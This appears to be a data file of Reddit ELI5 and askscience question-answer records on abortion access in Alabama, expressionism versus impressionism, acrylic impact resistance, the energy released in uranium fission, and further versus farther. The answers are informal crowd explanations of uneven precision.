{"q_id": "bplgde", "title": "why can't pregnant women who don't want the child in alabama go to other states to get their abortion done?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bplgde/eli5_why_cant_pregnant_women_who_dont_want_the/", "answers": {"a_id": ["enum4xp", "enumhha", "enumpgk", "enun44o", "enun9nh", "enuorc4", "enuovte"], "score": [6, 3, 2, 9, 5, 2, 2], "text": ["If it's like the Georgia bill, theres a part that punishes women for doing just that,going out of the state and getting an abortion. That's why they wont even allow a rape exemption. They dont want any wiggle room for an abortion. Women would have to move to another state if they dont want jail time", "I\u2019m not entirely sure why this would be, but I recall hearing that some places require you to wait after your first appointment before actually having the procedure. This would mean that whoever has to do this has to either stay in the other state for that long or make separate trips there, which could be really prohibitive for women who are working or who are low income", "Law have been passed over the last few years that have restricted access to legal abortion to the point that there may be only one clinic in any given state.  The cost of transportation is immense.", "The new law makes it illegal to do so. Women who travel for an abortion can be charged with a felony. The other issue is that mostly poor women need access to legal abortions, rich women aren't as impacted. Historically, rich women with unplanned pregnancies would go to private doctors, pay extra, and get the procedure. They also are typically better educated about birth control, have better access to it, and fewer social pressures against it, and so have fewer unplanned pregnancies. Taking a day off work, driving across state lines, and getting an abortion while on a minimum wage job isn't possible for poor women.", "1. *Money for the procedure:* The network of many insurance plans is geographically limited, forcing people seeking medical care out of state to pay out of pocket. Getting a first trimester abortion without health insurance can in some cases cost almost a thousand dollars, and in 2016 [63% of Americans did not have enough savings to cover a $500 emergency](_URL_0_).\n2. *Options for other states*: States neighboring and near to Alabama are not necessarily viable alternatives. Many have abortion restrictions of their own. Doctors who perform abortions in states near Alabama will also begin to be swamped if every resident of Alabama seeking an abortion turns to other states.\n3. *Logistics:* Traveling out of state isn't exactly convenient, and it adds expenses (a place to stay, gas/transportation, food) to what may already be an expensive procedure. The person seeking an abortion may have to take time off work for the trip, which is not feasible for all jobs. This particularly affects workers with hourly wages. Additionally, the time off invites speculation as to why.\n\nThere are women for whom going out of state may be an option, if they keep it to themselves. But restricting abortion rights has never been about restricting abortion access to wealthy women. Even before Roe v. Wade, \"anti-abortion\" politicians would send their teenage daughters abroad. It's about poor people with no resources.", "Questions about the US are generally better in r/askanamerican, and current events are not allowed on ELI5 in any case.", "The main reason women choose abortions is that they can't afford a child or to be pregnant. Being pregnant means a lot of stress on your body. If your job doesn't pay well and you are living pay check to pay check, then you can't afford to miss a few days here and there or be late to work a few times because of morning sickness. Also maturity leave isn't guaranteed in the USA, so you will have to work up to going into labor and the day after as well to not risk potentially being fired. \n\nSo the main reason a woman that is living in Alabama working a minimum wage job can't fly to say California for a week to have an abortion before going home is the same reason she probably is considering an abortion: she can barely make ends meet as is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.forbes.com/sites/maggiemcgrath/2016/01/06/63-of-americans-dont-have-enough-savings-to-cover-a-500-emergency/"], [], []]}
{"q_id": "4y8tpv", "title": "difference between expressionism and impressionism?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4y8tpv/eli5_difference_between_expressionism_and/", "answers": {"a_id": ["d6m1rkp", "d6ma2eo"], "score": [10, 6], "text": ["It's more about thought behind the work than imagery. Impressionism sought so show light. Instead of painting imagery like a boat they wanted to paint how light interacted with the boat. It's based on lighting in the moment. \n\nExpressionism is attempting to show moods or emotional experiences. It's often said that an expressionist wants to make you feel.", "Impressionism, late 19th century, is a tradition of art where artists attempt to capture how light affects a scene during one moment. Impressionists are known for their quick flurried brushstrokes of some outdoor scene. \n\nExpressionism, early 20th century, is a tradition where artists try to create an emotional response through vivid colors and distorted subjects. They are known to depict a subjective reality. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "zpft5", "title": "Does molding acrylic affect impact resistance?", "selftext": "I'm not very well versed in the sciences, so when I looked up the impact resistance of acrylic it was in units I didn't fully understand(kj/m2).\n\nSo what is the impact resistance of acrylic/lexane and will curving it provide more or less impact resistance? Also will baking it (to mold it) affect the impact resistance?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zpft5/does_molding_acrylic_affect_impact_resistance/", "answers": {"a_id": ["c66ku14", "c66l464"], "score": [2, 2], "text": ["Assuming that you do not degrade the polymer backbone, the properties of the polymer should remain constant, within a margin of error.\n\nUnderstand that by changing the structure you change the way that force is distributed on a material, so you may now have sections that experience a force greater than the polymer can handle.  Observed impact resistance is more complicated than just the intrinsic polymer properties.", "You like complicated matters, don't you?!\n\nThe units of impact testing are unusual, and they actually come in two varieties. The Charpy test has units of [energy/area] such as you cited, and the Izod has units of [energy/length]. You can't convert between the two, and there are also notched and unnotched tests.\n\nIn both cases, a weighted pendulum is swung down to impact and break a sample that is held partially in a clamp (the exposed end of the sample is hit by the pendulum). By noting how high the pendulum swings after impacting the sample, the amount of energy lost can be determined and then scaled by the width and thickness (Charpy) or the thickness (Izod).\n\nWhen you start looking at the tests in great detail, you see how empirical they really are. The results will vary with the radius of the impact pendulum, the notches and their variability between samples...and the energy lost is a combination of how much energy is needed to initiate a break, and then propagate through the sample and to bend the sample and... I pity some poor graduate student somewhere trying to model this test and so take the following with enough salt that your doctor will be concerned:\n\n1) curving the sample will increase the impact resistance if it is curved away from the impact point. i.e., if the sample is curved like this: ( , then the impact resistance will increase if the pendulum hits it from the left.\n\n2) Baking the sample will allow the residual stress in the sample to relax and should help increase the impact resistance.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8i54lg", "title": "how is so much energy stored in a uranium atom so that when it is split it causes a nuclear explosion? where is the energy exactly coming from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8i54lg/eli5_how_is_so_much_energy_stored_in_a_uranium/", "answers": {"a_id": ["dyoxvmm", "dyoxwux", "dyoy1tc", "dyoyds4", "dyoynqh", "dyp1bbv", "dyp6x82", "dyp7n03", "dyp8189", "dypbdq3", "dypcc4g", "dypdy6a", "dypo2p6", "dyq04qm", "dyq2gdp", "dyq5t7f", "dyq8jl8", "dyq8p9n", "dyqb38e"], "score": [12, 6, 336, 175, 10, 4156, 4, 80, 2, 6, 519, 3, 2, 2, 2, 2, 2, 2, 4], "text": ["it's the binding energy. in a fission reaction the parts of an atom are separated, so the energy which was previously needed to hold it together is then free.\nin a fusion reaction (the sun) two atoms are fused into one. previously the two atoms needed were kept together by binding energy. since the fused atom is more stable in total less binding energy is required, so the spare binding energy is free.\nBTW if the atom in total would be converted to energy (see e=mc2) then this would be magnitudes more energy than the released binding energy. ", "According to Einstein E=mc^2, which is energy=mass\u2022speed of light\u2022speed of light. \n\nWhich basically means  that the mass of the uranium is energy in some form. The hard part is to convert it to a more useful way for us. (For example heat). \n\nIn a nuclear explosion you trigger a chain explosion of uranium atoms splitting up. \nAnd splitting atoms release energy", "It's called \"nuclear binding energy.\" You can take an atom and look at its nucleus and see how many protons and neutrons it is made up of. We know the mass of protons and neutrons, so you can count the number of protons and number of neutrons and calculate how much mass the nucleus should have.\n\nBut, if you were to measure the nucleus as a whole, you would find that the total mass of the nucleus is less than the sum of the masses of its constituent parts! Where did that mass go? Well, it turned into that nuclear energy (as per E = mc^(2)).\n\nBut, this binding energy is different for each atom and it is why both fusion and fission can release energy.\n\nStarting with hydrogen and moving up, atomic nuclei bind more strongly, meaning more mass is \"lost.\" So if you were to take two deuterium atoms (hydrogen atoms plus a neutron each) and fuse them into a helium atom, you'd find that the mass of the helium nucleus is less than that of the sum of the individual deuterium nuclei. This lost mass is released as energy.\n\nBut, once you get to iron, this trend stops and reverses somewhat. If you take a very large atom, like Uranium, and split it into smaller atoms like Krypton and Barium, you'll find that the mass of the original Uranium nuclei is *more* than the sum of the masses of the Krypton and Barium nuclei and you lose mass by splitting it. Again, this lost mass is released as energy.", "ELI5 (using simplifications that are not strictly true but easy to understand): \n\nIn atoms, there are protons and electrons. Like magnets, protons and electrons have charges (Protons are positive, electrons are negative.) So they are attracted to each other.\n\nHowever the way atoms are structured are that protons are stuck to eachother with electrons rotating around them.\n\nProblem: How can protons stick to eachother when they should be repelling eachother due to them being the same charge?\n\nAnswer: There is some type of glue binding them together. (Imagine a machine that forces two magnets together, even though they want to repel)\n\nNuclear fission:\n\nWith nuclear fission, we fire at these grouped protons (and neutrons) with stuff, breaking them apart.\n\nWhen they break apart into smaller,  and seperate groups, they are less magnetically repulsive to each other, so this glue that binds these groups doesn't need to use so much energy. This excess energy is released.\n\n---\n\nEWTT (Explain with the truth): _URL_0_", "Neutron-induced fission of uranium-235 releases around 200 MeV of kinetic energy on average. In a nuclear explosion, it's not just one nucleus undergoing fission, it's **many**. It comes from a change in the nuclear binding energy of the system between the initial state (uranium-235) and the final state (two lighter fragments, and whatever else comes out during the reaction).", "A single Uranium atom cannot cause an explosion. However, if you hit it with a neutron, then the atom will [undergo a few reactions](_URL_0_) and split into two smaller atoms. These two atoms require less energy to keep the nucleus together (thanks /u/Luminum__), so the now extra energy gets released.\n\nTo get an explosion, you need a certain mass of Uranium. It must be the right kind (isotope) that is \"reactive\" enough. This is called enriched Uranium. When you \"clump\" together a certain mass of enriched Uranium, you get a chain reaction: one atom releases two (or three) neutrons, which will hit two other atoms, which will release four neutrons, and so on. You detonate the reaction in a big, strong casing to avoid spreading your Uranium all over before the reaction gets strong enough to cause a large boom.\n\nThat's what happens in a fission bomb. Of course, not all neutrons will hit other atoms, and not every atom will go under fission. [Little Boy](_URL_1_), the bomb that was detonated over Hiroshima, had 64 & nbsp;kg of Uranium. It is estimated that less than one kilo went under reaction. However, notice that one gram of Uranium contains a ridiculously large number of atoms (about  2,500,000,000,000,000,000,000 atoms).\n\n----\n\n**PS:** a lot of people are mentioning E=MC^2, and there's a lot to say about it. I'll keep it short and say just that the energy released is not 1 kg of Uranium times the speed of light squared. That would be the case, for example, of matter/anti-matter reaction, when the entirety of the atom is released as energy, which doesn't happen in atomic bombs. For more details and more precise explanations, read the tens of replies I received.\n\n----\n\n**edit:** as requested, a follow-up question: What would have happened if all 64 kg of Uranium went under reaction? According to the guys at r/AskScience who actually know this stuff ([source](_URL_2_)), the explosion would be \"only\" about 58 times stronger. It's a big boom, but we actually have made much stronger bombs than this.\n\n**edit:** I know there are a few imprecisions in this reply. A few are on purpose. I know just having Uranium above the critical mass is not enough for an explosion, but I don't know the subject enough to explain in an ELI5 way the detonation process. I have no understanding of the concept of \"fissible atom\", so I just glossed over and said \"reactive enough\". It was an attempt, and I'm surprised ane happy it was well-received. If you'd like to point mistakes please give me an ELI5 and I'll amend the answer.", "A nucleus is full of protons and neutrons, and protons are all positively charged. Positively charged things repel other positive things, so youd expect a nucleus to immediately break apart so the pieces of the neutron can get away fron eachother. The fact that they dont break apart immediately tells you that there is some other force thats holding it together, and that that force is stronger than the repulsion.\n\nNow, different kinds of atoms have different amounts of protons and neutrons. If you have alot of positive protons together, thats more charge, and therefore more repulsion. But an atom with less protons would have less repulsion. The composition of an atom will determine how much it wants to break apart, with really big atoms wanting to break more, and thats equal to the amount of anti-repulsive force thats holding it together. The anti repulsive force is called binding energy, because thats what it does,  it binds an atom together so it doesnt break up.\n\nAs it turns out, really big atoms need more binding energy that medium size atoms, like iron. So if you break a big atom like Uranium into smaller pieces,  the total amount of binding energy those pieces need is less than the amount the uranium needed. So when you make that change, suddenly you have all that binding energy from before,  but you dont need all of it. That extra energy just gets released. Thats where the extra energy comes from.\n\nThe thing that makes Uranium 235 special is that when it breaks up, alot of the time it will release a couple of free neutrons that arent in an atom. Neutrons like that can get absorbed by other Uranium, which in turn makes them break, which releases more neutrons, which breaks more Uraniums. Its a domino effect, which builds up until youve got a ton of Uraniums all releasing energy at once. Thats what makes fission have so much power.", "TL;DR: There is an optimum number of protons and neutrons in an atom to be most strongly bound (like iron). Uranium is far from this optimum, thus when splitting it into smaller pieces (by e.g. a neutron), these pieces are closer to optimum, and the difference in binding energy is released. A nuclear explosion is this happening to many U-235 atoms in a chain reaction when neutrons released in one uranium split are splitting further uranium atoms.\n\n\nOK so let me try. I try to be simple, but can't promise short.\n\nAtoms consist of protons (positively charged) and neutrons (no charge). These together are called \"nucleons\". Nucleons are bound together by the so-called \"strong interaction\", a \"glue\" which acts only over small distances, i.e. imagine all nucleons are only bound to their immediate neighbors, as if they were literally glued together. So the binding force is roughly proportional to the volume of the nucleus, or the total number of nucleons (a.k.a. \"mass number\" of an isotope).\n\nThere are multiple things that counteract this binding force.\n1) The protons have similar charge and thus they repel eachother (all of them repel all other ones). The more protons, the increasingly stronger the force trying to break the atom apart. The higher the charge (or \"atomic number\") the stronger the protons try to break the nucleus apart. \n\n2) Since the \"glue\" only acts over small distances, nuclei at the surface of the nucleus are less bound (they only have neighbors on one side) and so the larger the fraction of nuclei at the \"surface\", the less bound the atom is. As the atoms grow larger this fraction gets smaller (more fully bound nuclei inside) and thus getting bigger makes this effect weaker.\n\n3) For reasons which I cannot explain in ELI5 fashion (feel free to help), the more close the number of protons and neutrons is to eachother, the more bound the nucleus is. Similarly, and even number of protons and neutrons is better than having an odd number of any of these. So 2+2 is more stable than 1+1, 3+3 or 2+3 in either combination. 3+3 is more stable than 2+3, etc.\n\nCombining all of these is the \"liquid drop\" or Bethe-Weizsacker model of the nucleon. (go to wikipedia). \n\nSmall nucleons have too few fully bound nuclei (almost all of them are on the surface). If one goes larger to increase this bindig force, also the splitting force (number of protons) grows. One can try to compensate for this by adding just more neutrons. It turns out we need more than 1 neutron for any extra proton, which then increases the asymmetry, destabilizing again. For any number of protons there is an optimum number of neutrons, these are the stable isotopes of the elements.\n\nLarge enough deviations from the local optimum (that is an optimum number of neutrons for a given number of protons) is the root cause of spontaneaous nuclear decay, a.k.a. radioactivity. Nucleons either expell a part of them (2 protons + 2 neutrons at once - >  alpha decay); or convert a neutron to proton or vica versa (beta decay). The excess energy is released in the form of a gamma photon.\n\n\nAs a consequence, the most bound atoms are the mid-sized ones such as e.g. Iron. Therefore uniting (fusing) small atoms into mid-sized ones makes the bond stronger. Similarly, splitting ultra-large atoms (like in uranium fission) into smaller ones also makes the bond stronger. In either case the excess binding energy is released. The first process drives the stars (and the Sun) while the latter powers nuclear reactors and drives the atomic bomb. Fission and fusion are not the same as radioactivity.\n\nUranium is special, because it has so many excess neutrons (total of 235 or 238, to compensate for its 92 protons) that when it splits, it also emits more than 1 extra neutron. These neutrons can split further uranium atoms, leading to a chain reaction under appropriate circumstances (geometry, isotope composition). A nuclear explosion is an uncontrolled, exponentially growing chain reaction, which leads to a large number of uranium atoms to split and release the excess binding energy.\n\nNuclear reactors are designed in a way that for every fission there is exactly 1 neutron that causes another fission. I can explain this too, in a different ELI5.\n", "There are loads of good and simple answers here, and technically correct ones.  Mine is only simple:\n\nThe middle part of an atom - the nucleus - is held together by some sort of energy.  There are good science words for it, but I'm going to call it \"the atomic rubber-band.\"\n\nSo, if you mess with the rubber band just right (which is already stretched in order to hold the nucleus together) you can break it.  When it breaks, it will snap, giving off a little bit of energy AND messing with rubber bands on the nucleus of nearby atoms.  So then they break, giving off a little bit of energy AND messing with the rubber bands on the nucleus of nearby atoms.  So then they break, giving off a little bit of energy AND messing with the rubber bands on the nucleus of nearby atoms.  So then they break, giving off a little bit of energy AND messing with the rubber bands on the nucleus of nearby atoms. So then they break, giving off a little bit of energy AND messing with the rubber bands on the nucleus of nearby atoms. So then they break, giving off a little bit of energy AND messing with the rubber bands on the nucleus of nearby atoms. So then they break, giving off a little bit of energy AND messing with the rubber bands on the nucleus of nearby atoms. So then they break, giving off a little bit of energy AND messing with the rubber bands on the nucleus of nearby atoms.  And it keeps going for as long as there are nearby atoms of the right sort to keep it going.\n\nAnd it goes really fast.  Way faster than it looks when reading it.  Up above, I described how it happens eight times.  That starts with the first atom giving off a bit of energy, and by the time it gets to the eighth description, we're already talking about 255 atoms giving off energy.  If I had described up to 25 repeats, we would have already been talking about 33,554,431 atoms giving off energy.\n\nThe tiny amount of energy that I talked about basically doubles at each step in the chain reaction.  And it goes very fast, because the atoms are very close to each other and they weren't really doing much of anything else at the time.  So by the time all of the atoms in the bomb have had their rubber-bands broke (which I have to repeat, happens very fast) you have the following math:\n\n(1*TINY BIT OF ENERGY) X (CRAZY AMOUNT OF ATOMS) = 1 CRAZY AMOUNT OF ATOMIC ENERGY", "Ok, i think the most straightforward answer to this is that it doesn\u2019t...\nA single fission of Uranium will produce around 10^-11 Joules of energy; you need 10 Joules to lift 1 kg of mass 1 meter off the ground.... \n\nWhat makes it really explosive is the amount of Uranium atoms you can get in just a fistful of the material. \n\nEdit: wrote the definition for watt when talking about joules.. oops!", "Imagine you took two bar magnets and pushed their positive ends together. It would take energy to do so right? If you then took your hands away that they would push apart releasing that energy, \n\nThe center of atom is somewhat like that. You have positively charged particles called protons. Just like the ends of the magnets they want to repel each other, but something called the Strong Nuclear Force holds them together. For this to happen though the protons have to be close together. Getting them close together takes energy just like pushing the ends of magnets together takes energy. \n\nTo split an atom you have to get the protons far enough apart that the Strong Nuclear Force can't hold them together anymore. When you do that the energy that went into getting them close together is released. \n\nIf you just split one atom that's not going to release that much energy. However, with certain special atoms, like certain types of Uranium, when you split them they shoot out lots of particles. Those particles can then cause other atoms to split. This is what is called a chain reaction. Each atom causes more to split and those in turn cause even more to split. When that happens slowly you have a nuclear reactor. When it happens quickly you have a nuclear explosion. ", "Didn\u2019t these high yield bombs start with uranium because it is easier to split not necessarily because it has more energy?  I\u2019m not sure.", "It\u2019s like a ball of elastic bands, if you slice it in half real quick it explodes. However if you do the same to a single band.. meh.", "Imagine an atom as a rubber band under tension.  When that rubber band breaks pieces go flying and hit more rubber bands, causing them to break, and then they would hit more, and more (chain reaction)\n\nNow imagine this happening 2,562,610,000,000,000,000,000 times for 1 gram.\n\n", "atoms are composed of neutrons and protons(235 or 238 of those for instance). imagine protons as magnets repulsing each other that you are trying to keep together. the thing that makes them hold together is the strong nuclear interaction. they are on the brink of breaking. it's hard to tell when but we can safely say when we take a sample of it when half of them will have decayed. you guessed it it's the half life. and when the strong interaction break, the electromagnetic force push them at a speed depending on the amount of energy that was involved in holding them together. but remember that in 200g of it you have about 500 000 000 000 000 000 000 000 of them so now imagine if the pieces meet other uranium atoms, they shake them and they break. and the 235 version has much more chance of breaking and does so with more anergy. (less neutron to separate the protons) so we would select those.. that's called enriching. and billions of billions of particle moving fast in our everyday world is what we call heat. and sometimes there are lost helium core electrons or high energy  photons running around (respectively alpha beta and gamma rays). so basically enriched uranium is a rock with holes that is very hot. and if we put it in water it'll boil but graphite will absord particle that would break faster unstable atome and let the whole thing calm down. ", "So how many atoms splitting would it take to have a tiny little explosion that could be observed in a room and not destroy anything? (Like a firecracker) 2 atoms? 20 atoms, 2,000,000 atoms? And could that actually be demonstrated? ", "Most energy you are familiar with is either chemical or electrical energy.\n\nMolecules - like water or sucrose (sugar) - are multiple individual atoms, held together by \"bonds\". These bonds are electrons, tiny little sub-atomic particles, which are shared between atoms. When a molecule is heated, these bonds can weaken and even break; when they do so, they will want to form new bonds, because the atoms like being \"balanced\". Different atoms will form bonds of different strengths; weaker bonds take more energy to form and less energy to break than stronger bonds, which means that when something which is weakly bound together breaks, it will tend to react with something with which it will form a stronger bond - in Earth's atmosphere, this is typically oxygen.\n\nBecause of conservation of energy, the excess energy that was used to form that weaker bond must go somewhere - and that somewhere is usually heat or photons (the most well-known form of which is visible light).\n\nEnergy taken from breaking apart bonds between atoms is known as \"chemical energy\".\n\nAtoms, like molecules, are made up of smaller particles. I already mentioned electrons, which hover around the atom in a cloud.\n\nHowever, in the core of an atom - its nucleus - there are two types of subatomic particles, called protons and neutrons. These are vastly smaller than atoms, which is really impressive, because atoms are already very small!\n\nAn atom is about 0.1 nanometers long, which means it would take a a line of 10 BILLION atoms (10,000,000,000), all in a row, to be 1 meter long.\n\nBut protons and neutrons are smaller still - in fact, they are so small, that a line of 100,000 of them would be the same width as a single *atom*!\n\nJust like molecules, atoms, too, are held together by something - but instead of being held together by electrons, they're held together by something known as the *strong force*. This force got its name from how strong it is - inside an atom, this force is more than a hundred times stronger than the electromagnetic force, the force that holds molecules together and that causes electric and chemical energy to exist.\n\nLike the bond between atoms in molecules, the bond between neutrons and protons in atoms can be broken. But because this bond is so strong, it is really, really hard to break - it takes *extremely* high temperatures, like inside the sun, to affect these bonds.\n\nHowever, like molecules, atoms like to stick together in a particular way. Uranium is a very, very big atom - it has a huge number of tiny little particles all stuck together. These particles don't like being stuck together in such a large mass, and sometimes, they will break  off on their own - this is why uranium is dangerous! Atoms that break apart on their own at random are called \"radioactive\", because when they break apart, that bond energy - the thing that had been holding them together - is released, and because this is *much* more powerful than the energy in chemical bonds in molecules, there's a lot more energy when this happens.\n\nIn a nuclear reaction, we *deliberately* cause the atom to break apart. We do this by adding in an extra sub-atomic particle and shooting it at the nucleus of the atom. We usually do this using a neutron - a type of subatomic particle which has no electric charge, and thus isn't pushed away by the positively-charged protons of the atom's nucleus.\n\nWhen an extra neutron is pushed into the nucleus, the nucleus is disrupted by the extra mass and energy from the new particle and shatters, breaking apart into a bunch of smaller pieces - including other neutrons, which can then break apart *other* atoms. This is what is known as a chain reaction. Because each broken up atom sends off multiple neutrons, this can create a bunch of extra exploding atoms.\n\nBecause the strength of the bonds in the nucleus of an atom are so much stronger than the strength of the bonds in molecules, this releases a *lot* more energy.\n\nIn a nuclear bomb, the atoms are packed in a sphere, then smashed together by a normal explosion, making them temporarily more compact - like squeezing your fist around a sponge, it forces the material much more closely together. This makes it much more likely that broken-off neutrons will hit the nucleus of another atom, blowing up that other atom, and thus creating even more broken atoms.\n\nThis is why atomic bombs are so powerful.\n\nThe most powerful bombs - so-called Hydrogen bombs, or thermonuclear bombs - take it a step further. They use a normal atomic bomb to create temperatures as hot as what you see inside the sun! These extremely hot temperatures, as previously mentioned, can *also* cause atoms to change the way they're stuck together.\n\nSmall atoms - like hydrogen (which only has 1 proton and 0-2 neutrons in its nucleus) and lithium (which has 3 protons and 3-4 neutrons) want to even out the number of particles in their nucleus. Lithium-6  (which has 3 protons and 3 neutrons), when it is hit with an extra neutron, will break, and form a helium atom (with 2 protons and 2 neutrons) and tritium (which is a type of hydrogen - it has 1 proton and 2 neutrons). \n\nTritium isn't very stable - it doesn't like having 1 proton and 2 neutrons - so will bond with a hydrogen atom which has 1 proton and no neutrons, and form a helium atom. Because the unstable atom took more strength to hold together than the stable one, all that extra energy is released - and so these bombs can be even more powerful than ordinary atomic bombs.\n\nAtomic particles sticking together is called fusion (which is why these bombs are sometimes called fusion bombs), and like unstable big atoms breaking apart (which is called fission), it releases a bunch of energy.", "The short answer is that this energy is coming from the breakdown of the nuclear bond that previously prevented all of the positively charged protons in the nucleus from flying apart from one another. To get a better understanding of what exactly is going on here, let's look at a very simple example in the alpha particle \\(the nucleus of a helium atom which is comprised of two protons and two neutrons\\). The mass of the alpha particle is  6.64\u00d710\u221227 kg but if you add up the individual masses of the protons and neutrons that comprise it, you actually get 6.69\u00d710\u221227 kg. So somehow the act of binding the protons and neutrons together causes them to lose approximately .8 & #37; of their cumulative mass. What's going on here? The answer is that the binding energy of the nucleus is cancelling some of it out. In other words, to free those protons and neutrons from one another, you would have to give each one a burst of kinetic energy equal to about .8 & #37; of their rest mass to break the bound state. A consequence of this is that if the nuclear bond was to become unstable and decay, say from a U\\-235 nucleus absorbing a neutron, the energy of that bond needs to be conserved and the way that that happens is that it is transformed into kinetic energy as the fission fragments fly apart very fast.  ", "Most of the comments here refer to Einstein's mass-energy equivalence, E=mc^(2). This is the right equation, but the wrong explanation always follows.\u00a0\u00a0\u00a0 \n**Mass is never converted into energy.** Saying that \"nuclear bombs convert mass into energy\" is like saying thermometers convert random kinetic energy of atoms into temperature. Mass and energy are the **same thing** just measured in different ways. Nuclear explosions just take energy that is contained in a very small package and spread it out rapidly.\n\nYou may have read in this comment section about how the sum of the masses of 2 protons and 2 neutrons individually is greater than the mass of a helium nucleus, made of exactly the same parts and nothing else. The reason for this is because there actually is different stuff in these two situations, but it's very subtle. The protons and neutrons in the nucleus are held together by the strong force. To give you an idea of how much energy is held in strong force bonds, consider that a typical proton inside a Uranium atoms feels an average force from electrostatic repulsion of about 60lbs. Scaling up the masses, that's like standing on the surface of the sun and trying to jump hard enough to push the sun the other direction at about 2.2mph (1m/s). That's a stupidly large amount of energy.\n\nSo why doesn't the energy between the repelling electrostatic force and the attractive strong force read as more mass? Because they cancel out. The end result is that the strong force creates a place where the energy is lower on the inside than it is on the outside (this difference isn't much, but it exists and that matters because \\*math\\*). To make matters more extreme, there is a HUGE spike in the potential energy \"wall\" between the inside and outside. Its this wall that keeps everything nice and tidy and not-flying-all-over-the-place-so-chemistry-and-therefore-you-can-exist. The strong force is weird though because gravity and electrostatic forces have a simple relationship with distance (the closer you are, the higher it is, and vice versa, but its always there and there are no surprises in its strength), but the strong force only takes hold at extremely small distances, and spikes *hard* when it hits.\n\nSo why is the mass smaller? Because measuring mass is the same as measuring energy. The strong force is already inside each proton and neutron, keeping the quarks bound, so making an atomic nucleus adds nothing. In essence, all you've done when putting these particles together is lowered the energy of the space they occupy. This is what's missing! It's the energy of plain old empty space! But the fact that the energy levels are lower inside the well is an artifact of choosing helium. This flips around at iron, because \\*more math\\*. But you still have this giant wall you need to climb over. And how do you do that? You add energy to the nucleus! You can hit it with neutrons, and for technical reasons this is the most practical, but in principle you just need particles with sufficient energy to knock stuff around.\n\nEnergy gets deposited from the incoming neutron into particles in the nucleus of an atom, and they start climbing the wall. If at least 2 neutrons are able to climb the wall, then they can go hit 2 other nuclei. Where do they get the energy to hit that hard? Well once they make it over the wall, the energy in the particle has to go somewhere, so it goes into kinetic energy, because \\*math\\*. Then each of those 2 hit out 2 more neutrons, so you have 4 free neutrons. Then 8, then 16, then exponential growth gets stupid big, stupid fast.\n\n\"But who cares? Neutrons won't do anything.\" Well that's true, but if you're using the right (or wrong) atoms, now you have atomic nuclei that are unstable. The particles are still trapped inside the well, but because quantum mechanics is weird, it is statistically possible for them to suddenly not be inside the well. This process is known as \"quantum tunneling.\" If it's possible and you have a large sample, it will happen. And it does. And so now you're breaking strong force bonds, and remember how much energy those hold? And remember how fast it happens? That's a bomb.\n\nBut nowhere in this process is mass ever converted into energy. If you were to get all the particles back together, and if you were to put them all in the same energy levels, you would measure the same mass. Because energy and mass are the same thing.\n\nAs a bit of tidying up the explanation, this doesn't apply to massless particles like photons. Einstein's full mass-energy equivalence is E^(2)=m^(2)c^(4)+p^(2)c^(2) where the p represents momentum. If a particle has mass, you can travel at the same speed as it so it's momentum is 0 from your reference frame, and this simplifies to the usual equation. If the mass is 0, then you can never travel at the same speed as it since all massless particles travel at c, and you have to find the momentum through another equation to find the energy. Those particles can still be assigned an \"effective mass\" though. If you put a photon inside a box and let it bounce around, and then measure the mass of the box, the mass will go up by an amount equal to p/c, even though you haven't added any particles with mass, since you have added energy. It is in this sense that all mass is is just an emergent property that all energy exhibits, again just like with randomized atomic kinetic energy and everyday temperature."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://chadorzel.steelypips.org/principles/2011/01/27/energy-from-mass-mass-from-ene/"], [], ["https://www.youtube.com/watch?v=-Nc0wCrkk00", "https://en.wikipedia.org/wiki/Little_Boy", "https://www.reddit.com/r/askscience/comments/3xyjqe/how_powerful_would_the_little_boy_atomic_bomb/"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "anhiqa", "title": "difference between further and farther?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/anhiqa/eli5_difference_between_further_and_farther/", "answers": {"a_id": ["eftcpul", "efteeqh", "eftqy22", "efts15y"], "score": [50, 7, 3, 3], "text": ["Further is used in metaphorical contexts, while farther is used in more literal/physical contexts.\n\n\"I could not have been further away from the solution\"\n\n\"I feel like I have been drifting further and further away from my wife\"\n\nvs\n\n\"The two men were farther apart the next day\"\n\n\"The mountain was farther away than I thought\" \n\nI like to think of it like this:\n\nIt makes sense when you say something is **far** away, but it doesnt make sense when you say something is **fur** away.\n\nEdit: examples", "Use *farther* for something you can measure and *further* for something abstract that can\u2019t be precisely measured.\n\nExample:\n\nChild: How much *farther* until we get there? I\u2019m going to wither away and die if I don\u2019t eat soon.\n\nParent: Just a few more miles. And nothing could be *further* from the truth.\n", "People answered it already, but she mentions it in song form:\n\n[_URL_0_](_URL_0_) @2:48\n\n & #x200B;\n\nEDIT w/ Lyrics:\n\nI know how to use the words further and farther correctly  \nevery freaking time\n\nfarther indicates physical distance  \nand further a depth or degree  \nexample: the moon is getting farther from the earth  \nabout 4 centimeters annually (true fact)\n\nexample: you just keep getting further into my heart  \nwait: you just keep getting farther into my heart  \nno, wait: you just keep getting further into my heart  \nhang on: you just keep getting farther into my heart\n\nI wanna be your abacus baby  \nyou can count on me  \nif the situation is ambiguous  \nfurther and farther can be used interchangeably (that\u2019s a rule! I knew that all along)", "Covered very eloquently in [Finding Forrester](_URL_0_) \n\nProf. Robert Crawford: [to Jamal] Perhaps your skills do reach farther than basketball. \n\nJamal: \"Further\" \n\nProf. Robert Crawford: What? \n\nClaire Spence: [whispered to Jamal] Don't... \n\nJamal: [to Crawford] You said that my skills reached \"farther\" than basketball. \"Farther\" relates to distance, \"further\" is a definition of degree. You should have said \"further\". \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=rkWy8nRWPGk"], ["https://www.imdb.com/title/tt0181536/"]]}
